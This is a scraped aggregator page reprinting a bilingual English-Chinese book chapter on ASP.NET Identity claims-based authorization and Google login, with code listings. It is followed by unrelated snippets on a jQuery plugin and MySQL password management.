LocationClaimsProvider {public static IEnumerable<Claim> GetClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.Name.ToLower() == "alice") {claims.Add(CreateClaim(ClaimTypes.PostalCode, "DC 20500"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "DC"));} else {claims.Add(CreateClaim(ClaimTypes.PostalCode, "NY 10036"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "NY"));}return claims;}private static Claim CreateClaim(string type, string value) {return new Claim(type, value, ClaimValueTypes.String, "RemoteClaims");} }} The GetClaims method takes a ClaimsIdentity argument and uses the Name property to create claims about the user’s ZIP code and state. This class allows me to simulate a system such as a central HR database, which would be the authoritative source of location information about staff, for example. GetClaims方法以ClaimsIdentity为参数,并使用Name属性创建了关于用户ZIP码(邮政编码)和州府的声明(Claims)。上述这个类使我能够模拟一个诸如中心化的HR数据库(人力资源数据库)之类的系统,它可能会成为全体职员的地点信息的权威数据源。 Claims are associated with the user’s identity during the authentication process, and Listing 15-16 shows the changes I made to the Login action method of the Account controller to call the LocationClaimsProvider class. 在认证过程期间,声明(Claims)是与用户标识关联在一起的,清单15-16显示了我对Account控制器中Login动作方法所做的修改,以便调用LocationClaimsProvider类。 Listing 15-16. Associating Claims with a User in the AccountController.cs File 清单15-16. AccountController.cs文件中用户用声明的关联 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... You can see the effect of the location claims by starting the application, authenticating as a user, and requesting the /Claim/Index URL. Figure 15-6 shows the claims for Alice. You may have to sign out and sign back in again to see the change. 为了看看这个地点声明(Claims)的效果,可以启动应用程序,以一个用户进行认证,并请求/Claim/Index URL。图15-6显示了Alice的声明(Claims)。你可能需要退出,然后再次登录才会看到发生的变化。 Figure 15-6. Defining additional claims for users 图15-6. 定义用户的附加声明 Obtaining claims from multiple locations means that the application doesn’t have to duplicate data that is held elsewhere and allows integration of data from external parties. The Claim.Issuer property tells you where a claim originated from, which helps you judge how accurate the data is likely to be and how much weight you should give the data in your application. Location data obtained from a central HR database is likely to be more accurate and trustworthy than data obtained from an external mailing list provider, for example. 从多个地点获取声明(Claims)意味着应用程序不必复制其他地方保持的数据,并且能够与外部的数据集成。Claim.Issuer属性(图15-6中的Issuer数据列——译者注)能够告诉你一个声明(Claim)的发源地,这有助于让你判断数据的精确程度,也有助于让你决定这类数据在应用程序中的权重。例如,从中心化的HR数据库获取的地点数据可能要比外部邮件列表提供器获取的数据更为精确和可信。 1. Applying Claims 1. 运用声明(Claims) The second reason that claims are interesting is that you can use them to manage user access to your application more flexibly than with standard roles. The problem with roles is that they are static, and once a user has been assigned to a role, the user remains a member until explicitly removed. This is, for example, how long-term employees of big corporations end up with incredible access to internal systems: They are assigned the roles they require for each new job they get, but the old roles are rarely removed. (The unexpectedly broad systems access sometimes becomes apparent during the investigation into how someone was able to ship the contents of the warehouse to their home address—true story.) 声明(Claims)有意思的第二个原因是,你可以用它们来管理用户对应用程序的访问,这要比标准的角色管理更为灵活。角色的问题在于它们是静态的,而且一旦用户已经被赋予了一个角色,该用户便是一个成员,直到明确地删除为止。例如,这意味着大公司的长期雇员,对内部系统的访问会十分惊人:他们每次在获得新工作时,都会赋予所需的角色,但旧角色很少被删除。(在调查某人为何能够将仓库里的东西发往他的家庭地址过程中发现,有时会出现异常宽泛的系统访问——真实的故事) Claims can be used to authorize users based directly on the information that is known about them, which ensures that the authorization changes when the data changes. The simplest way to do this is to generate Role claims based on user data that are then used by controllers to restrict access to action methods. Listing 15-17 shows the contents of the ClaimsRoles.cs file that I added to the Infrastructure. 声明(Claims)可以直接根据用户已知的信息对用户进行授权,这能够保证当数据发生变化时,授权也随之而变。此事最简单的做法是根据用户数据来生成Role声明(Claim),然后由控制器用来限制对动作方法的访问。清单15-17显示了我添加到Infrastructure中的ClaimsRoles.cs文件的内容。 Listing 15-17. The Contents of the ClaimsRoles.cs File 清单15-17. ClaimsRoles.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public class ClaimsRoles {public static IEnumerable<Claim> CreateRolesFromClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.HasClaim(x => x.Type == ClaimTypes.StateOrProvince&& x.Issuer == "RemoteClaims" && x.Value == "DC")&& user.HasClaim(x => x.Type == ClaimTypes.Role&& x.Value == "Employees")) {claims.Add(new Claim(ClaimTypes.Role, "DCStaff"));}return claims;} }} The gnarly looking CreateRolesFromClaims method uses lambda expressions to determine whether the user has a StateOrProvince claim from the RemoteClaims issuer with a value of DC and a Role claim with a value of Employees. If the user has both claims, then a Role claim is returned for the DCStaff role. Listing 15-18 shows how I call the CreateRolesFromClaims method from the Login action in the Account controller. CreateRolesFromClaims是一个粗糙的考察方法,它使用了Lambda表达式,以检查用户是否具有StateOrProvince声明(Claim),该声明来自于RemoteClaims发行者(Issuer),值为DC。也检查用户是否具有Role声明(Claim),其值为Employees。如果用户这两个声明都有,那么便返回一个DCStaff角色的Role声明。清单15-18显示了如何在Account控制器中的Login动作中调用CreateRolesFromClaims方法。 Listing 15-18. Generating Roles Based on Claims in the AccountController.cs File 清单15-18. 在AccountController.cs中根据声明生成角色 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(LocationClaimsProvider.GetClaims(ident)); ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... I can then restrict access to an action method based on membership of the DCStaff role. Listing 15-19 shows a new action method I added to the Claims controller to which I have applied the Authorize attribute. 然后我可以根据DCStaff角色的成员,来限制对一个动作方法的访问。清单15-19显示了在Claims控制器中添加的一个新的动作方法,在该方法上已经运用了Authorize注解属性。 Listing 15-19. Adding a New Action Method to the ClaimsController.cs File 清单15-19. 在ClaimsController.cs文件中添加一个新的动作方法 using System.Security.Claims;using System.Web;using System.Web.Mvc;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [Authorize(Roles="DCStaff")]public string OtherAction() {return "This is the protected action";} }} Users will be able to access OtherAction only if their claims grant them membership to the DCStaff role. Membership of this role is generated dynamically, so a change to the user’s employment status or location information will change their authorization level. 只要用户的声明(Claims)承认他们是DCStaff角色的成员,那么他们便能访问OtherAction动作。该角色的成员是动态生成的,因此,若是用户的雇用状态或地点信息发生变化,也会改变他们的授权等级。 提示:请读者从这个例子中吸取其中的思想精髓。对于读物的理解程度,仁者见仁,智者见智,能领悟多少,全凭各人,译者感觉这里的思想有无数的可能。举例说明:(1)可以根据用户的身份进行授权,比如学生在校时是“学生”,毕业后便是“校友”;(2)可以根据用户所处的部门进行授权,人事部用户属于人事团队,销售部用户属于销售团队,各团队有其自己的应用;(3)下一小节的示例是根据用户的地点授权。简言之:一方面用户的各种声明(Claim)都可以用来进行授权;另一方面用户的声明(Claim)又是可以自定义的。于是可能的运用就无法估计了。总之一句话,这种基于声明的授权(Claims-Based Authorization)有无限可能!要是没有我这里的提示,是否所有读者在此处都会有所体会?——译者注 15.3.3 Authorizing Access Using Claims 15.3.3 使用声明(Claims)授权访问 The previous example is an effective demonstration of how claims can be used to keep authorizations fresh and accurate, but it is a little indirect because I generate roles based on claims data and then enforce my authorization policy based on the membership of that role. A more direct and flexible approach is to enforce authorization directly by creating a custom authorization filter attribute. Listing 15-20 shows the contents of the ClaimsAccessAttribute.cs file, which I added to the Infrastructure folder and used to create such a filter. 前面的示例有效地演示了如何用声明(Claims)来保持新鲜和准确的授权,但有点不太直接,因为我要根据声明(Claims)数据来生成了角色,然后强制我的授权策略基于角色成员。一个更直接且灵活的办法是直接强制授权,其做法是创建一个自定义的授权过滤器注解属性。清单15-20演示了ClaimsAccessAttribute.cs文件的内容,我将它添加在Infrastructure文件夹中,并用它创建了这种过滤器。 Listing 15-20. The Contents of the ClaimsAccessAttribute.cs File 清单15-20. ClaimsAccessAttribute.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Infrastructure {public class ClaimsAccessAttribute : AuthorizeAttribute {public string Issuer { get; set; }public string ClaimType { get; set; }public string Value { get; set; }protected override bool AuthorizeCore(HttpContextBase context) {return context.User.Identity.IsAuthenticated&& context.User.Identity is ClaimsIdentity&& ((ClaimsIdentity)context.User.Identity).HasClaim(x =>x.Issuer == Issuer && x.Type == ClaimType && x.Value == Value);} }} The attribute I have defined is derived from the AuthorizeAttribute class, which makes it easy to create custom authorization policies in MVC framework applications by overriding the AuthorizeCore method. My implementation grants access if the user is authenticated, the IIdentity implementation is an instance of ClaimsIdentity, and the user has a claim with the issuer, type, and value matching the class properties. Listing 15-21 shows how I applied the attribute to the Claims controller to authorize access to the OtherAction method based on one of the location claims created by the LocationClaimsProvider class. 我所定义的这个注解属性派生于AuthorizeAttribute类,通过重写AuthorizeCore方法,很容易在MVC框架应用程序中创建自定义的授权策略。在这个实现中,若用户是已认证的、其IIdentity实现是一个ClaimsIdentity实例,而且该用户有一个带有issuer、type以及value的声明(Claim),它们与这个类的属性是匹配的,则该用户便是允许访问的。清单15-21显示了如何将这个注解属性运用于Claims控制器,以便根据LocationClaimsProvider类创建的地点声明(Claim),对OtherAction方法进行授权访问。 Listing 15-21. Performing Authorization on Claims in the ClaimsController.cs File 清单15-21. 在ClaimsController.cs文件中执行基于声明的授权 using System.Security.Claims;using System.Web;using System.Web.Mvc;using Users.Infrastructure;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [ClaimsAccess(Issuer="RemoteClaims", ClaimType=ClaimTypes.PostalCode,Value="DC 20500")]public string OtherAction() {return "This is the protected action";} }} My authorization filter ensures that only users whose location claims specify a ZIP code of DC 20500 can invoke the OtherAction method. 这个授权过滤器能够确保只有地点声明(Claim)的邮编为DC 20500的用户才能请求OtherAction方法。 15.4 Using Third-Party Authentication 15.4 使用第三方认证 One of the benefits of a claims-based system such as ASP.NET Identity is that any of the claims can come from an external system, even those that identify the user to the application. This means that other systems can authenticate users on behalf of the application, and ASP.NET Identity builds on this idea to make it simple and easy to add support for authenticating users through third parties such as Microsoft, Google, Facebook, and Twitter. 基于声明的系统,如ASP.NET Identity,的好处之一是任何声明都可以来自于外部系统,即使是将用户标识到应用程序的那些声明。这意味着其他系统可以代表应用程序来认证用户,而ASP.NET Identity就建立在这样的思想之上,使之能够简单而方便地添加第三方认证用户的支持,如微软、Google、Facebook、Twitter等。 There are some substantial benefits of using third-party authentication: Many users will already have an account, users can elect to use two-factor authentication, and you don’t have to manage user credentials in the application. In the sections that follow, I’ll show you how to set up and use third-party authentication for Google users, which Table 15-8 puts into context. 使用第三方认证有一些实际的好处:许多用户已经有了账号、用户可以选择使用双因子认证、你不必在应用程序中管理用户凭据等等。在以下小节中,我将演示如何为Google用户建立并使用第三方认证,表15-8描述了事情的情形。 Table 15-8. Putting Third-Party Authentication in Context 表15-8. 第三方认证情形 Question 问题 Answer 回答 What is it? 什么是第三方认证? Authenticating with third parties lets you take advantage of the popularity of companies such as Google and Facebook. 第三方认证使你能够利用流行公司,如Google和Facebook,的优势。 Why should I care? 为何要关心它? Users don’t like having to remember passwords for many different sites. Using a provider with large-scale adoption can make your application more appealing to users of the provider’s services. 用户不喜欢记住许多不同网站的口令。使用大范围适应的提供器可使你的应用程序更吸引有提供器服务的用户。 How is it used by the MVC framework? 如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework. 这不是一个直接由MVC框架使用的特性。 Note The reason I have chosen to demonstrate Google authentication is that it is the only option that doesn’t require me to register my application with the authentication service. You can get details of the registration processes required at http://bit.ly/1cqLTrE. 提示:我选择演示Google认证的原因是,它是唯一不需要在其认证服务中注册我应用程序的公司。有关认证服务注册过程的细节,请参阅http://bit.ly/1cqLTrE。 15.4.1 Enabling Google Authentication 15.4.1 启用Google认证 ASP.NET Identity comes with built-in support for authenticating users through their Microsoft, Google, Facebook, and Twitter accounts as well more general support for any authentication service that supports OAuth. The first step is to add the NuGet package that includes the Google-specific additions for ASP.NET Identity. Enter the following command into the Package Manager Console: ASP.NET Identity带有通过Microsoft、Google、Facebook以及Twitter账号认证用户的内建支持,并且对于支持OAuth的认证服务具有更普遍的支持。第一个步骤是添加NuGet包,包中含有用于ASP.NET Identity的Google专用附件。请在“Package Manager Console(包管理器控制台)”中输入以下命令: Install-Package Microsoft.Owin.Security.Google -version 2.0.2 There are NuGet packages for each of the services that ASP.NET Identity supports, as described in Table 15-9. 对于ASP.NET Identity支持的每一种服务都有相应的NuGet包,如表15-9所示。 Table 15-9. The NuGet Authenticaton Packages 表15-9. NuGet认证包 Name 名称 Description 描述 Microsoft.Owin.Security.Google Authenticates users with Google accounts 用Google账号认证用户 Microsoft.Owin.Security.Facebook Authenticates users with Facebook accounts 用Facebook账号认证用户 Microsoft.Owin.Security.Twitter Authenticates users with Twitter accounts 用Twitter账号认证用户 Microsoft.Owin.Security.MicrosoftAccount Authenticates users with Microsoft accounts 用Microsoft账号认证用户 Microsoft.Owin.Security.OAuth Authenticates users against any OAuth 2.0 service 根据任一OAuth 2.0服务认证用户 Once the package is installed, I enable support for the authentication service in the OWIN startup class, which is defined in the App_Start/IdentityConfig.cs file in the example project. Listing 15-22 shows the change that I have made. 一旦安装了这个包,便可以在OWIN启动类中启用此项认证服务的支持,启动类的定义在示例项目的App_Start/IdentityConfig.cs文件中。清单15-22显示了所做的修改。 Listing 15-22. Enabling Google Authentication in the IdentityConfig.cs File 清单15-22. 在IdentityConfig.cs文件中启用Google认证 using Microsoft.AspNet.Identity;using Microsoft.Owin;using Microsoft.Owin.Security.Cookies;using Owin;using Users.Infrastructure;using Microsoft.Owin.Security.Google;namespace Users {public class IdentityConfig {public void Configuration(IAppBuilder app) {app.CreatePerOwinContext<AppIdentityDbContext>(AppIdentityDbContext.Create);app.CreatePerOwinContext<AppUserManager>(AppUserManager.Create);app.CreatePerOwinContext<AppRoleManager>(AppRoleManager.Create); app.UseCookieAuthentication(new CookieAuthenticationOptions {AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,LoginPath = new PathString("/Account/Login"),}); app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);app.UseGoogleAuthentication();} }} Each of the packages that I listed in Table 15-9 contains an extension method that enables the corresponding service. The extension method for the Google service is called UseGoogleAuthentication, and it is called on the IAppBuilder implementation that is passed to the Configuration method. 表15-9所列的每个包都含有启用相应服务的扩展方法。用于Google服务的扩展方法名称为UseGoogleAuthentication,它通过传递给Configuration方法的IAppBuilder实现进行调用。 Next I added a button to the Views/Account/Login.cshtml file, which allows users to log in via Google. You can see the change in Listing 15-23. 下一步骤是在Views/Account/Login.cshtml文件中添加一个按钮,让用户能够通过Google进行登录。所做的修改如清单15-23所示。 Listing 15-23. Adding a Google Login Button to the Login.cshtml File 清单15-23. 在Login.cshtml文件中添加Google登录按钮 @model Users.Models.LoginModel@{ ViewBag.Title = "Login";}<h2>Log In</h2> @Html.ValidationSummary()@using (Html.BeginForm()) {@Html.AntiForgeryToken();<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><div class="form-group"><label>Name</label>@Html.TextBoxFor(x => x.Name, new { @class = "form-control" })</div><div class="form-group"><label>Password</label>@Html.PasswordFor(x => x.Password, new { @class = "form-control" })</div><button class="btn btn-primary" type="submit">Log In</button>}@using (Html.BeginForm("GoogleLogin", "Account")) {<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><button class="btn btn-primary" type="submit">Log In via Google</button>} The new button submits a form that targets the GoogleLogin action on the Account controller. You can see this method—and the other changes I made the controller—in Listing 15-24. 新按钮递交一个表单,目标是Account控制器中的GoogleLogin动作。可从清单15-24中看到该方法,以及在控制器中所做的其他修改。 Listing 15-24. Adding Support for Google Authentication to the AccountController.cs File 清单15-24. 在AccountController.cs文件中添加Google认证支持 using System.Threading.Tasks;using System.Web.Mvc;using Users.Models;using Microsoft.Owin.Security;using System.Security.Claims;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Infrastructure;using System.Web; namespace Users.Controllers {[Authorize]public class AccountController : Controller {[AllowAnonymous]public ActionResult Login(string returnUrl) {if (HttpContext.User.Identity.IsAuthenticated) {return View("Error", new string[] { "Access Denied" });}ViewBag.returnUrl = returnUrl;return View();}[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident)); AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);} [HttpPost][AllowAnonymous]public ActionResult GoogleLogin(string returnUrl) {var properties = new AuthenticationProperties {RedirectUri = Url.Action("GoogleLoginCallback",new { returnUrl = returnUrl})};HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();}[AllowAnonymous]public async Task<ActionResult> GoogleLoginCallback(string returnUrl) {ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();AppUser user = await UserManager.FindAsync(loginInfo.Login);if (user == null) {user = new AppUser {Email = loginInfo.Email,UserName = loginInfo.DefaultUserName,City = Cities.LONDON, Country = Countries.UK};IdentityResult result = await UserManager.CreateAsync(user);if (!result.Succeeded) {return View("Error", result.Errors);} else {result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);if (!result.Succeeded) {return View("Error", result.Errors);} }}ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false }, ident);return Redirect(returnUrl ?? "/");}[Authorize]public ActionResult Logout() {AuthManager.SignOut();return RedirectToAction("Index", "Home");}private IAuthenticationManager AuthManager {get {return HttpContext.GetOwinContext().Authentication;} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } The GoogleLogin method creates an instance of the AuthenticationProperties class and sets the RedirectUri property to a URL that targets the GoogleLoginCallback action in the same controller. The next part is a magic phrase that causes ASP.NET Identity to respond to an unauthorized error by redirecting the user to the Google authentication page, rather than the one defined by the application: GoogleLogin方法创建了AuthenticationProperties类的一个实例,并为RedirectUri属性设置了一个URL,其目标为同一控制器中的GoogleLoginCallback动作。下一个部分是一个神奇阶段,通过将用户重定向到Google认证页面,而不是应用程序所定义的认证页面,让ASP.NET Identity对未授权的错误进行响应: ...HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();... This means that when the user clicks the Log In via Google button, their browser is redirected to the Google authentication service and then redirected back to the GoogleLoginCallback action method once they are authenticated. 这意味着,当用户通过点击Google按钮进行登录时,浏览器被重定向到Google的认证服务,一旦在那里认证之后,便被重定向回GoogleLoginCallback动作方法。 I get details of the external login by calling the GetExternalLoginInfoAsync of the IAuthenticationManager implementation, like this: 我通过调用IAuthenticationManager实现的GetExternalLoginInfoAsync方法,我获得了外部登录的细节,如下所示: ...ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();... The ExternalLoginInfo class defines the properties shown in Table 15-10. ExternalLoginInfo类定义的属性如表15-10所示: Table 15-10. The Properties Defined by the ExternalLoginInfo Class 表15-10. ExternalLoginInfo类所定义的属性 Name 名称 Description 描述 DefaultUserName Returns the username 返回用户名 Email Returns the e-mail address 返回E-mail地址 ExternalIdentity Returns a ClaimsIdentity that identities the user 返回标识该用户的ClaimsIdentity Login Returns a UserLoginInfo that describes the external login 返回描述外部登录的UserLoginInfo I use the FindAsync method defined by the user manager class to locate the user based on the value of the ExternalLoginInfo.Login property, which returns an AppUser object if the user has been authenticated with the application before: 我使用了由用户管理器类所定义的FindAsync方法,以便根据ExternalLoginInfo.Login属性的值对用户进行定位,如果用户之前在应用程序中已经认证,该属性会返回一个AppUser对象: ...AppUser user = await UserManager.FindAsync(loginInfo.Login);... If the FindAsync method doesn’t return an AppUser object, then I know that this is the first time that this user has logged into the application, so I create a new AppUser object, populate it with values, and save it to the database. I also save details of how the user logged in so that I can find them next time: 如果FindAsync方法返回的不是AppUser对象,那么我便知道这是用户首次登录应用程序,于是便创建了一个新的AppUser对象,填充该对象的值,并将其保存到数据库。我还保存了用户如何登录的细节,以便下次能够找到他们: ...result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);... All that remains is to generate an identity the user, copy the claims provided by Google, and create an authentication cookie so that the application knows the user has been authenticated: 剩下的事情只是生成该用户的标识了,拷贝Google提供的声明(Claims),并创建一个认证Cookie,以使应用程序知道此用户已认证: ...ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties { IsPersistent = false }, ident);... 15.4.2 Testing Google Authentication 15.4.2 测试Google认证 There is one further change that I need to make before I can test Google authentication: I need to change the account verification I set up in Chapter 13 because it prevents accounts from being created with e-mail addresses that are not within the example.com domain. Listing 15-25 shows how I removed the verification from the AppUserManager class. 在测试Google认证之前还需要一处修改:需要修改第13章所建立的账号验证,因为它不允许example.com域之外的E-mail地址创建账号。清单15-25显示了如何在AppUserManager类中删除这种验证。 Listing 15-25. Disabling Account Validation in the AppUserManager.cs File 清单15-25. 在AppUserManager.cs文件中取消账号验证 using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Microsoft.AspNet.Identity.Owin;using Microsoft.Owin;using Users.Models; namespace Users.Infrastructure {public class AppUserManager : UserManager<AppUser> {public AppUserManager(IUserStore<AppUser> store): base(store) {}public static AppUserManager Create(IdentityFactoryOptions<AppUserManager> options,IOwinContext context) {AppIdentityDbContext db = context.Get<AppIdentityDbContext>();AppUserManager manager = new AppUserManager(new UserStore<AppUser>(db)); manager.PasswordValidator = new CustomPasswordValidator {RequiredLength = 6,RequireNonLetterOrDigit = false,RequireDigit = false,RequireLowercase = true,RequireUppercase = true}; //manager.UserValidator = new CustomUserValidator(manager) {// AllowOnlyAlphanumericUserNames = true,// RequireUniqueEmail = true//};return manager;} }} Tip you can use validation for externally authenticated accounts, but I am just going to disable the feature for simplicity. 提示:也可以使用外部已认证账号的验证,但这里出于简化,取消了这一特性。 To test authentication, start the application, click the Log In via Google button, and provide the credentials for a valid Google account. When you have completed the authentication process, your browser will be redirected back to the application. If you navigate to the /Claims/Index URL, you will be able to see how claims from the Google system have been added to the user’s identity, as shown in Figure 15-7. 为了测试认证,启动应用程序,通过点击“Log In via Google(通过Google登录)”按钮,并提供有效的Google账号凭据。当你完成了认证过程时,浏览器将被重定向回应用程序。如果导航到/Claims/Index URL,便能够看到来自Google系统的声明(Claims),已被添加到用户的标识中了,如图15-7所示。 Figure 15-7. Claims from Google 图15-7. 来自Google的声明(Claims) 15.5 Summary 15.5 小结 In this chapter, I showed you some of the advanced features that ASP.NET Identity supports. I demonstrated the use of custom user properties and how to use database migrations to preserve data when you upgrade the schema to support them. I explained how claims work and how they can be used to create more flexible ways of authorizing users. I finished the chapter by showing you how to authenticate users via Google, which builds on the ideas behind the use of claims. 本章向你演示了ASP.NET Identity所支持的一些高级特性。演示了自定义用户属性的使用,还演示了在升级数据架构时,如何使用数据库迁移保护数据。我解释了声明(Claims)的工作机制,以及如何将它们用于创建更灵活的用户授权方式。最后演示了如何通过Google进行认证结束了本章,这是建立在使用声明(Claims)的思想基础之上的。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gz19871113/article/details/108591802。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-28 08:49:21
283
转载
JQuery插件下载
...以轻松地将任何层级的数据结构转化为易于操作的树形目录,并嵌入到标准的下拉框中。这意味着你只需编写少量代码,就能实现一个既美观又实用的功能组件。无论是用于网站导航、产品分类还是权限管理,combo-tree都能完美适配,帮助你的应用或网站变得更加用户友好。总之,combo-tree凭借其直观的设计、灵活的功能和高效的性能,成为了开发过程中不可或缺的工具之一。无论你是前端新手还是经验丰富的开发者,都将发现这款插件能显著提升你的工作效率,让复杂的多级选择变得简单快捷。 点我下载 文件大小:75.47 KB 您将下载一个JQuery插件资源包,该资源包内部文件的目录结构如下: 本网站提供JQuery插件下载功能,旨在帮助广大用户在工作学习中提升效率、节约时间。 本网站的下载内容来自于互联网。如您发现任何侵犯您权益的内容,请立即告知我们,我们将迅速响应并删除相关内容。 免责声明:站内所有资源仅供个人学习研究及参考之用,严禁将这些资源应用于商业场景。 若擅自商用导致的一切后果,由使用者承担责任。
2025-01-15 10:54:44
87
本站
MySQL
随着数据库安全性的日益重要,MySQL用户账号和密码的管理方式也在不断进化。在最新版本中,MySQL采用更高级别的加密算法存储用户密码,如SHA256等,确保即使数据库被非法获取,密码也不会轻易泄露。此外,为了进一步加强安全性,MySQL 8.0引入了 caching_sha2_password 身份验证插件作为默认的身份验证方法,提供了一种更加安全且高效的密码认证机制。 近期,针对MySQL数据库的安全事件频发,各大云服务商和企业纷纷升级自家数据库系统的安全防护措施。例如,某知名云服务商就推出了数据库审计服务,可以实时记录并分析MySQL用户的登录行为、查询操作等,一旦发现异常,立即告警,从而有效防止恶意查看或篡改数据的行为。 另外,在日常运维中,管理员应遵循最小权限原则,为每个MySQL用户分配仅满足其工作需求的最低权限,并定期更新密码策略,包括强制密码复杂度、设置定期更换密码等措施。同时,利用SSL/TLS加密技术保护MySQL客户端与服务器之间的通信,也是防止中间人攻击、保障密码传输安全的重要手段。 对于忘记MySQL密码的情况,除了上述提到的通过命令行工具以具有足够权限的用户重置密码外,还可以借助第三方MySQL管理工具,如phpMyAdmin、Navicat等,它们通常提供了更为直观的操作界面来处理这类问题,大大降低了数据库管理的门槛。 综上所述,MySQL账号和密码的管理不仅涉及到查询和重置这些基本操作,更涵盖了数据库访问控制、密码加密存储、安全审计等多个层面,需要结合最新的安全技术和最佳实践,以实现对MySQL数据库的有效安全管理。
2024-01-21 10:37:36
52
算法侠
MySQL
...器上的文本文件中读取数据并将其导入到数据库的表中。在文章语境中,用户需确保拥有打开和处理文件的权限,并正确设置相关参数(如字段分隔符、行尾标识等),以便将文件内容与目标表结构匹配,实现数据的快速加载。 SELECT INTO OUTFILE , 同样作为MySQL中的SQL命令,它执行的操作与LOAD DATA INFILE相反,主要用于将数据库查询结果导出至服务器的本地文件中。在实际应用时,用户可以指定输出文件的位置、名称以及文件内容的格式化方式,便于进行数据备份、迁移或与其他系统进行数据交换。 FILE权限 , 在MySQL中,每个用户账户都有特定的权限集,其中FILE权限允许用户通过SQL语句来读取、写入服务器主机的文件系统。对于使用LOAD DATA INFILE和SELECT INTO OUTFILE命令操作文件的场景来说,该权限是必不可少的,因为没有FILE权限的用户无法执行涉及文件读写的SQL命令,从而确保了数据库系统的安全性,防止未经授权的文件访问。
2023-01-09 12:22:04
139
逻辑鬼才
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
journalctl
- 查看系统日志。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"